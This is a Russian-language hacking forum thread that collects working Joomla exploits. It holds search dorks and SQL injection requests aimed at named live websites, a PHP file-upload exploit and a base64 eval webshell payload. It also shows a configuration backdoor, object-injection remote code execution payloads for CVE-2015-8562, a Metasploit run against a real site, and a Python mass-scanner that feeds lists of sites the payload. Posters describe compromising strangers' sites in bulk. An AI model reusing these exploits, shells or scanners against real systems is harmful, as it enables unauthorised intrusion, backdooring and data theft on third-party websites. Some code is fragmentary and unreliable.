Дорк: "inurl:index.php?option=com_spidercalendar calendar_id=*"
Уязвимый код:
Пока нет...
P.S:Уязвимость другой переменной данного компанента
http://www.exploit-db.com/exploits/23782/ (2012-12-31)
KolosJey
26.02.2013, 15:16
Joomla "com_spidercalendar" component SQL Injection
Уязвим параметр
calendar_id
POC:
-
true
-
false
Exploit переписанный под пример данного сайта!
Дорк:
"inurl:index.php?option=com_spidercalendar calendar_id=*"
Уязвимый код:
Пока нет...
P.S:Уязвимость другой переменной данного компанента
http://www.exploit-db.com/exploits/23782/ (2012-12-31)
Ты всё-же мой любимый хакер
Blind - OK
http://www.saawf.co.za/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=1 UNION SELECT 1,2,3,4,0x3c61207461726765743d225f626c616e6b222068 7265663d22687474703a2f2f7777772e726164696b616c2e72 75223e3c696d67207372633d22687474703a2f2f693038312e 726164696b616c2e72752f313330322f31342f326637633233 3033326532612e6a706722203e3c2f613e,6,7,8,9,10,11,1 2,13,14,15,16,17-- &module_id=60&date60=2012-08-11&Itemid=
winstrool
26.02.2013, 22:26
Ты всё-же мой любимый хакер
Blind - OK
http://www.saawf.co.za/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=1 UNION SELECT 1,2,3,4,0x3c61207461726765743d225f626c616e6b222068 7265663d22687474703a2f2f7777772e726164696b616c2e72 75223e3c696d67207372633d22687474703a2f2f693038312e 726164696b616c2e72752f313330322f31342f326637633233 3033326532612e6a706722203e3c2f613e,6,7,8,9,10,11,1 2,13,14,15,16,17-- &module_id=60&date60=2012-08-11&Itemid=
а ты все также смышлен))) действует не везде, а с блиндом проходит больше ситуаций, да и кому, как крутить дело каждого...
Ни у кого случайно не завалялись исходники уязвимого к LFI компонента com_properties версия 3.1.22-03
Столкнулся с проблемой усечения расширения null байтом. Глянуть бы исходники
Подробности тут: /thread375124.html
P.S. Очень плохая манера описывать уязвимость и не указывать участок кода, в котором она найдена, т.к. зачастую после публикации уязвимости скрипт попросту пропадает с прилавков интернета...
ravencrow
21.08.2013, 13:34
Как узнать версию Joomla 2.5/3.0
Если есть доступ на чтение из БД, выполнить следующий запрос:
select version_id from префикс_schemas where extension_id=700;
или
select manifest_cache from префикс_extensions where extension_id=700;
ravencrow
21.08.2013, 14:16
Кто может рассказать более подробно про данную уязвимость, а точнее как она осуществялется?
Description
Inadequate filtering leads to the ability to bypass file type upload restrictions.
Affected Installs
Joomla! version 2.5.13 and earlier 2.5.x versions; and version 3.1.4 and earlier 3.x versions.
Описание уязвимости http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads
Уязвимый код https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8
Позволяет залить шелл с расширением *.php. (на конце расширения файла точка) через встроенный медиа-менеджер Joomla. Требуется доступ на сайт в качестве автора/редактора. Т.е. без соответствующих привелегий залить не получится.
Актуально для версий Joomla от 2.5.0 до 2.5.13 и от 3.0.0 до 3.1.4 включительно.
winstrool
09.11.2013, 19:18
Joomla "com_muscol" component SQL Injection
Уязвим параметр genre_id, в данном компаненте есть и другие уязвимые параметры.
POC:
http://www.jazz.org.au/index.php?option=com_muscol&view=search&search=albums&genre_id=2+and(select+ascii(mid(concat(version()), 1,1))=53)
- true
http://www.jazz.org.au/index.php?option=com_muscol&view=search&search=albums&genre_id=2+and(select+ascii(mid(concat(version()), 1,1))=52)
- false
Дорк: "inurl:index.php?option=com_muscol genre_id=*"
Уязвимый код:
Пока нет...
Ravenous
11.12.2013, 16:37
Уязвимый код:
Пока нет...
Файл: components/com_muscol/models/search.php
Код:
...
$this->genre_id=JRequest::getVar('genre_id');
...
function_buildQuery(){
if(empty($this->query)){
$keywords=$this->keywords;
$artist_id=$this->artist_id;
$genre_id=$this->genre_id;
$where_clause= array();
if ($keywords!="")$where_clause[] =' s.name LIKE "%'.$keywords.'%"';
if ($artist_id>0) {
$where_clause[] =' ( al.artist_id = '.$artist_id.' OR s.ar tist_id = '.$artist_id.')';
}
if ($genre_id>0) {
$genre->id=$genre_id;
$this->getDescendantsId($genre_id);
$descendants=$this->descendantsId;
$descendants[] =$genre_id;
$genre_clause=' (( s.genre_id = '.implode(' O R s.genre_id = ',$descendants) .' ) '.
' OR ( s.genre_id ="" AND ( al.genre_id = '.implode(' OR al.genr e_id = ',$descendants) .' ) ) )';
$where_clause[] =$genre_clause;
}
// Build the where clause of the content rec ord query
$where_clause= (count($where_clause) ?' WHERE '.implode(' AND ',$where_clause) :'');
$this->query=' SELECT s.*,al.name as album_name,al.im age, ar.artist_name FROM #__muscol_songs as s '.
' LEFT JOIN #__muscol_albums as al ON al.id = s.album_id '.
' LEFT JOIN #__muscol_artists as ar ON ( a r.id = s.artist_id OR ar.id = al.artist_id ) '.
$where_clause.
' ORDER BY s.artist_id, al.year, al.month, a l.id, s.disc_num,s.num '
;
//echo $this->query; die();
}
return$this->query;
}
look2009
04.11.2014, 02:33
joomla 3.2.1
index.php/weblinks-categories?id=0%20%29%20union%20select%20concat_ws (0x3a,username,password)%20from%20%60ppo1v_users%6 0%20--%20%29
Бэкдорим Joomla через файл конфигурации штатными средствами:
в файл ./configuration.php добавляем строчку
public $root_user='';
Вписанный таким образом пользователь автоматически становится СуперАдмином, не смотря на его настройки в MySQL.
Вычитал тут (https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password)
↑ (https://antichat.live/posts/3567851/)
Как узнать версию Joomla 2.5/3.0
Если есть доступ на чтение из БД, выполнить следующий запрос:
select version_id from префикс_schemas where extension_id=700;
или
select manifest_cache from префикс_extensions where extension_id=700;
А не проще подставить к домену /language/en-GB/en-GB.xmlи узнать версию?
Joomla ver. 3.2/3.4.4
Уязвимый компонент /administrator/components/com_contenthistory/models/history.php
POC:
index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
Подробнее тут (https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/).
Sharingan
27.10.2015, 13:08
↑ (https://antichat.live/posts/3905915/)
Joomla
ver. 3.2/3.4.4
Уязвимый компонент /administrator/components/com_contenthistory/models/history.php
POC
:
Подробнее
тут (https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/)
.
А как только угадать префикс таблицы.
↑ (https://antichat.live/posts/3907452/)
А как только угадать префикс таблицы.
Ну в модуле это уже реализовали https://github.com/rapid7/metasploit-framework/pull/6129/files
Можно конечно его отдельно под себе переписать.
winstrool
27.10.2015, 14:40
↑ (https://antichat.live/posts/3907452/)
А как только угадать префикс таблицы.
Площадка для тестов:
_ttp://test.bip.visacom.pl/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(ExtractValue(1,(select concat_ws(0x3a,user(),version(),database()))))
Обратите внимание, что при ошибки выдается и префикс таблици:
500 - XPATH syntax error: '
@10.254.34.22:5.5.43-MariaDB-log
' SQL=SELECT (ExtractValue(1,(select concat_ws(0x3a,user(),version(),database())))),uc. name AS editor
FROM `cons9_ucm_history`
AS h LEFT JOIN cons9_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 75 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
тулза под винду для быстрой эсплутации CVE-2015-7857 Joomla
http://image.3001.net/images/20151023/1445602110947.png!small
http://pan.baidu.com/s/1kTER9bT пасс:htmo
Только чем такой хэш можно расшифровать ? Через session_id пробовал войти на паре сайтов - не вышло .
winstrool
11.11.2015, 18:05
Joomla com_sexycontactform Arbitrary File Upload Vulnerability
по мотивам _http://0day.today/exploit/description/24518
exploit:
$url="http://localhost";
$file="Z:\\home\\test\\www\\exp\\css.php";
if($curl=curl_init() ) {
curl_setopt($curl,CURLOPT_URL,"$url/components/com_sexycontactform/fileupload/index.php");
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_POST,1);
@curl_setopt($curl,CURLOPT_POSTFIELDS, ar ray("files"=>"@".$file));
curl_setopt($curl,CURLOPT_USERAGENT,'Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.2.15 Version/10.10');
$in=curl_exec($curl);
curl_close($curl);
//var_dump($in);
}
На разных площадках по разному расширения пропускает, для загрузки шелла, пробуйте играться с расширением
Для удаления какого либо файла из папки files
Используем метод
DELETE:
http://www.localhost/components/com_sexycontactform/fileupload/index.php?file=.htaccess
Сорци уязвимой части компанента:
winstrool
18.11.2015, 15:37
Joomla "mod_fxprev"
modules/mod_fxprev/libraries/tmpl.php
Уязвимый участок кода:
$basepath = str_replace('/modules/mod_fxprev/libraries/tmpl.php','',$_SERVER['SCRIPT_FILENAME']) ;
$hostname = $_SERVER['HTTP_HOST'];
$action = $_POST['action'];
$file = $_POST['file'];
$data = base64_decode($_POST['data']);
$tmpdir = $_POST['tmpdir'];
...
} else if ($action == 'create') {
$ftime = filemtime("$basepath/components/com_content");
echo file_put_contents($file, $data);
touch("$basepath/components/com_content", $ftime, $ftime);
touch("$basepath/components/com_content/article.php", $ftime, $ftime);
}
POC:
POST: action=create&file=shell.php&data=PD9waHAgZXZhbCgkX1BPU1RbJ2lkJ10pOyA/Pg==
для тестов:
_ttp://arabica.com.au/oldfile/modules/mod_fxprev/mod_fxprev.xml
_ttp://arabica.com.au/oldfile/modules/mod_fxprev/libraries/tmpl.php
winstrool
05.12.2015, 19:33
Заливка шелла через RSForm! Pro тестировал на версии 1.50.0
Требуются админские права!!!
В админке переходим: Компоненты-> RSForm! Pro -> Управление формами -> (Выбираем любую форму) -> Свойства -> Скрипты (Сценарии выполнения программы)
в первое же поле вбиваем phpinfo(); и профит!
Скрипт выполняющий код:
administrator\components\com_rsform\helpers\rsform .php - 1981 строчка
eval($form->ScriptDisplay);
Запись для выполнения кода заносятся в таблицу JOS__rsform_forms в колонки ScriptProcess, ScriptProcess2, ScriptDisplay
Таким образом мы можем спрятать бегдор в БД!
Strilo4ka
05.12.2015, 22:47
хм, ок))
Заливка шелла через Virtuemart, нужны права одмина или модератора, как повезет
1.Заливка с Front End
смотрим id товара с тегов, их атрибутов и тд и далее переходим по урлю ?option=com_virtuemart&tmpl=component&view=product&task=edit&virtuemart_product_id=[id]и грузим в фото товара с PHP расширением.
2. Заливка с админки
В фото товара льем свой шелл c PHP расширением.
Joomla 0day RCE (от 1.5 до 3.4)
GET /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}ð
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t6491 9sf706q64
Connection: keep-alive
POST /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t6491 9sf706q64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
111=cGhwaW5mbygpOw%3d%3d
Дисклос: https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html
PoC: http://www.freebuf.com/vuls/89754.html
blackbox
15.12.2015, 20:32
↑ (https://antichat.live/posts/3927817/)
Joomla 0day RCE (от 1.5 до 3.4)
GET /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}ð
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t6491 9sf706q64
Connection: keep-alive
POST /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t6491 9sf706q64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
111=cGhwaW5mbygpOw%3d%3d
Дисклос:
https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html
PoC:
http://www.freebuf.com/vuls/89754.html
А есть подробности использования? И получилось ли у кого-нибудь заюзать?
winstrool
15.12.2015, 20:56
↑ (https://antichat.live/posts/3927869/)
А есть подробности использования? И получилось ли у кого-нибудь заюзать?
User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}�
Запрос сробатывает со второго раза!
eval(base64_decode($_POST[111]))
111 - это я так понимаю место для shell'a?
Есть POC для Metasploit: https://github.com/rapid7/metasploit-framework/pull/6355
Проверено, работает.
↑ (https://antichat.live/posts/3927897/)
User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}�
Запрос сробатывает со второго раза!
А как выполнить этот запрос?
aka180000
16.12.2015, 12:41
Народ, а кто нибудь может платно показать как работает эта уязвимость. Все вопросы в личку.
Я то могу платно показать, как она работает, но
1. Пробивается не больше 5% сайтов. Почему - надо смотреть код Джумлы.
2. Есть куча левых фиксов, которые не позволяют выполнить это.
3. Тот же CloudFlare посылает ваши эксплоиты строго по компасу.
Вообщем так, сайты своих друзей и врагов я протестировал. Один дырявый у друзей уже пофиксил. Из числа конкурентов, к сожалению, никто не пробивается. Далее мне эта тема не интересна
winstrool
16.12.2015, 16:09
у меня из 150 сайтов 18 пробило, все пробитые от 3.x и выше, щас на массовость буду смотреть по версиям на 8к сатов, что пробьется...
P.S: Тема очень обсуждаема, вынести бы ее в отдельную тему... модерам...
blackbox
16.12.2015, 17:53
В этой ссылке, которую приводили выше - https://github.com/rapid7/metasploit-framework/pull/6355 описаны некоторые ограничения по версии php. Я пробовал эксплоит на хостах, с подходящими версиями - либо возвращается обычная страница, либо 403 или пустой ответ сервера. В двух последних случаях подозреваю WAF. Пока не ясно как с ним бороться.
класс JDatabaseDriverMysqli , нашёл только в версии 332, а вот где еть возможность записи в файл сессии так и не нашёл
83 public function __destruct()
84 {
85 $this->disconnect();
86 }
200 public function disconnect()
201 {
202 // Close the connection.
203 if ($this->connection)
204 {
205 foreach ($this->disconnectHandlers as $h)
206 {
207 call_user_func_array($h, array( &$this));
208 }
209
210 mysqli_close($this->connection);
211 }
212
213 $this->connection = null;
214 }
Что-то не варит котелок у меня уже. Если кто заставит это чудо пробивать версии линейки 2.5 просьба отписать сюди или в ЛС. С меня пиво.
winstrool
17.12.2015, 01:19
↑ (https://antichat.live/posts/3928468/)
Что-то не варит котелок у меня уже. Если кто заставит это чудо пробивать версии линейки 2.5 просьба отписать сюди или в ЛС. С меня пиво.
Бьет только версию 3.x за счет:
public function __destruct()
{
$this->
disconnect
();
}
...
public
function disconnect
()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array
($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
а во второй ветки он прописан так:
public function __destruct()
{
if (is_callable(array($this->connection, 'close')))
{
mysqli_close($this->connection);
}
}
Тут вроде бы еще одна возможность намечается:
Проверил как в 3.4 выглядит сессия админа. С учетом вычищенного лишнего:
__default|a:8:{s:15:"session.counter";i:4;s:19:"session.timer.start";i:1450305285;s:18:"session.timer.last";i:1450305301;s:17:"session.timer.now";i:1450305303;s:22:"session.client.browser";s:3:"MOZ";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":28:{s:9:"\0\0\0isRoot";b:1;s:2:"id";s:1:"1";s:4:"name";s:6:"Hacker";s:8:"username";s:5:"admin";s:5:"email";s:1:"@";s:8:"password";s:4:"SUXX";s:14:"password_clear";s:0:"";s:5:"block";s:1:"0";s:9:"sendEmail";s:1:"1";s:12:"registerDate";s:10:"2015-01-01";s:13:"lastvisitDate";s:19:"0000-00-00 00:00:00";s:10:"activation";s:1:"0";s:6:"params";s:0:"";s:6:"groups";a:1:{i:8;s:1:"8";}s:5:"guest";i:0;s:13:"lastResetTime";s:19:"0000-00-00 00:00:00";s:10:"resetCount";s:1:"0";s:12:"requireReset";s:1:"0";s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:8;}s:14:"\0\0\0_authLevels";a:5:{i:0;i:1;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:6;}s:1 5:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;s:6:"otpKey";s:0:"";s:4:"otep";s:0:"";}s:13:"session.token";s:2:"ff";}
Я сознательно поубирал всякий хлам. Если ЭТО внести непосредственно (руками) в таблицу session (http://localhost/tools/phpmyadmin/sql.php?db=joomlatest&table=jm_session&token=850cbc484e6901f1ace0c1855590f526) независимо от содержимого полей client_id и guest на главной странице появляется кнопка редактирования постов со всеми вытекающими. В админку я не попал, но думаю дело техники.
Теперь если не руками. Отправляю запрос со следующим User-Agent:
$uagent='";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":28:{s:9:"\0\0\0isRoot";b:1;s:2:"id";s:1:"1";s:4:"name";s:6:"Hacker";s:8:"username";s:5:"admin";s:5:"email";s:1:"@";s:8:"password";s:4:"SUXX";s:14:"password_clear";s:0:"";s:5:"block";s:1:"0";s:9:"sendEmail";s:1:"1";s:12:"registerDate";s:10:"2015-01-01";s:13:"lastvisitDate";s:19:"0000-00-00 00:00:00";s:10:"activation";s:1:"0";s:6:"params";s:0:"";s:6:"groups";a:1:{i:8;s:1:"8";}s:5:"guest";i:0;s:13:"lastResetTime";s:19:"0000-00-00 00:00:00";s:10:"resetCount";s:1:"0";s:12:"requireReset";s:1:"0";s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:8;}s:14:"\0\0\0_authLevels";a:5:{i:0;i:1;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:6;}s:1 5:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;s:6:"otpKey";s:0:"";s:4:"otep";s:0:"";}s:13:"session.token";s:2:"ff";}'."\xf0\x9d\x8c\x86";
В базу благополучно записывается такое значение сессии:
__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450307390;s:18:"session.timer.last";i:1450307390;s:17:"session.timer.now";i:1450307390;s:22:"session.client.browser";
s:1088:""
;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":28:{s:9:"\0\0\0isRoot";b:1;s:2:"id";s:1:"1";s:4:"name";s:6:"Hacker";s:8:"username";s:5:"admin";s:5:"email";s:1:"@";s:8:"password";s:4:"SUXX";s:14:"password_clear";s:0:"";s:5:"block";s:1:"0";s:9:"sendEmail";s:1:"1";s:12:"registerDate";s:10:"2015-01-01";s:13:"lastvisitDate";s:19:"0000-00-00 00:00:00";s:10:"activation";s:1:"0";s:6:"params";s:0:"";s:6:"groups";a:1:{i:8;s:1:"8";}s:5:"guest";i:0;s:13:"lastResetTime";s:19:"0000-00-00 00:00:00";s:10:"resetCount";s:1:"0";s:12:"requireReset";s:1:"0";s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:8;}s:14:"\0\0\0_authLevels";a:5:{i:0;i:1;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:6;}s:1 5:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;s:6:"otpKey";s:0:"";s:4:"otep";s:0:"";}s:13:"session.token";s:2:"ff";}
Но как только я запрашиваю страницу браузером с той же кукой - заветной кнопки не вижу и в базу автоматически заносится
isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;
Если в структуре, занесенной в БД посредством подмены User-Agent заменить (уже в базе руками)
s:1088:""; на s:1:"1"; или что-либо еще корректное - то все работает и я получаю права автора на редактирование публикаций с сайта.
s:22:"session.client.browser";s:1126:"";s:22:"session.client.browser";s:1:"1";
не катит
Если _default обрезать и дописать к нему второй _default - джумла потом дополняет первый как в предыдущем случае, а второй хвостом болтается. В версии 2.5 хвост превращается в __defaul2|N;
В исходники особо не вникал, но возможно что это можно раскрутить до получения прав автора админа.
↑ (https://antichat.live/posts/3927910/)
Есть POC для Metasploit:
https://github.com/rapid7/metasploit-framework/pull/6355
Проверено, работает.
msf exploit(joomla_http_header_rce) > set RHOST www.aquak***.ru
RHOST => www.aquak***.ru
msf exploit(joomla_http_header_rce) > check
www.aquak***.ru:80 - The target appears to be vulnerable.
msf exploit(joomla_http_header_rce) > exploit
Started reverse handler on 188.227.**.**:4444
www.aquak***.ru:80 - Sending payload ...
Exploit completed, but no session was created.
msf exploit(joomla_http_header_rce) >
Подкоректировал сплоит (https://www.exploit-db.com/exploits/38977/), выкладываю, может кому-то пригодиться. Реально задолбался менять payload и URL в файле. Еще сделал запись результата в файл. Для работы нужна библиотека requests, ставить так:
pip install requests
P.S Ни разу не пробивал Jooml'y ): ")
pl = generate_payload(phpexec)
print get_url(vulnurl, pl)
[/CODE]
blackbox
19.12.2015, 23:12
Выкладываю свою поделку для проверки списка сайтов на CVE-2015-8562. Скрипт работает в двух режимах: можно указать домен, по которому будет осуществлен reverse ip lookup и получен список сайтов для проверки или же задать файл со списком сайтов. В случае если сайт уязвим, программа выведет "exploitable". Есть возможность результат записать в лог-файл. Сильно не пинайте, посоны, код корявенький, работает тоже не шибко шустро. Да, и еще, обратите внимание на название заголовка, который используется - сейчас он еще работает там, где уже фильтруется UA.
'''
joomla rce masschek for CVE-2015-8562
bb special for antichat.ru
thx to: Gary@Sec-1 ltd, antichat community
19.12.2015
'''
import sys
import re
import requests
import getopt
message = "--"
def get_url(url, user_agent):
global message
headers = {
#'User-Agent': user_agent
'x-forwarded-for': user_agent
}
response = None
try:
cookies = requests.get(url, timeout=15, headers=headers).cookies
for _ in range(3):
response = requests.get(url, timeout=15, headers=headers,cookies=cookies)
except Exception as ex:
#print ex.message
message = "Error: " + str(ex.message)
if response:
#print "got response"
#print response.content
return response.content
return None
def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
def get_site_list(domain):
url = "http://viewdns.info/reverseip/?host=" + domain + "&t=1"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'
}
#print url
try:
response = requests.get(url, timeout=15, headers = headers)
text = response.content
#print text
sites = re.findall("\s+(.*?)"
print "Options:"
print "-d, --domain domain for reverse lookup on viewdns.info"
print "-f, --file file with site list to check"
print "-l, --log save result to log file"
print "Example: "+sys.argv[0]+" --file domains.txt --log output.txt"
pl = generate_payload("phpinfo();")
#text = get_url(host, pl)
#write log?
write_log = False
log_file = ""
domain = ""
read_file = ""
opts, args = getopt.getopt(sys.argv[1:], "f:d:l:", ["file=","domain=","log="]);
for opt, arg in opts:
if opt in("-f", "--file"):
read_file = arg
elif opt in("-d", "--domain"):
domain = arg
elif opt in("-l", "--log"):
log_file = arg
write_log = True
if(domain and read_file):
usage()
exit()
if(domain == "" and read_file == ""):
usage()
exit()
if(write_log == True):
fh = open(log_file, "w")
fh.close()
#use file or get domains from viewdns.info
if(domain):
sites = get_site_list(domain)
#print sites
print "Total " +str(len(sites)) + " sites to check"
check_sites(sites, pl, write_log, log_file)
elif(read_file):
fh = open(read_file,"r")
data = fh.readlines()
fh.close()
print "Total " +str(len(data)) + " sites to check"
check_sites(data, pl, write_log, log_file)
Надеюсь кому-нибудь пригодится.
Нашел онлайн тулзу для чека CVE-2015-8562: https://scan.patrolserver.com/joomla/CVE-2015-8562
↑ (https://antichat.live/posts/3929517/)
Выкладываю свою поделку для проверки списка сайтов на CVE-2015-8562. Скрипт работает в двух режимах: можно указать домен, по которому будет осуществлен reverse ip lookup и получен список сайтов для проверки или же задать файл со списком сайтов. В случае если сайт уязвим, программа выведет "exploitable". Есть возможность результат записать в лог-файл. Сильно не пинайте, посоны, код корявенький, работает тоже не шибко шустро. Да, и еще, обратите внимание на название заголовка, который используется - сейчас он еще работает там, где уже фильтруется UA.
'''
joomla rce masschek for CVE-2015-8562
bb special for antichat.ru
thx to: Gary@Sec-1 ltd, antichat community
19.12.2015
'''
import sys
import re
import requests
import getopt
message = "--"
def get_url(url, user_agent):
global message
headers = {
#'User-Agent': user_agent
'x-forwarded-for': user_agent
}
response = None
try:
cookies = requests.get(url,headers=headers).cookies
for _ in range(3):
response = requests.get(url, headers=headers,cookies=cookies)
except Exception as ex:
#print ex.message
message = "Error: " + str(ex.message)
if response:
#print "got response"
#print response.content
return response.content
return None
def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd';
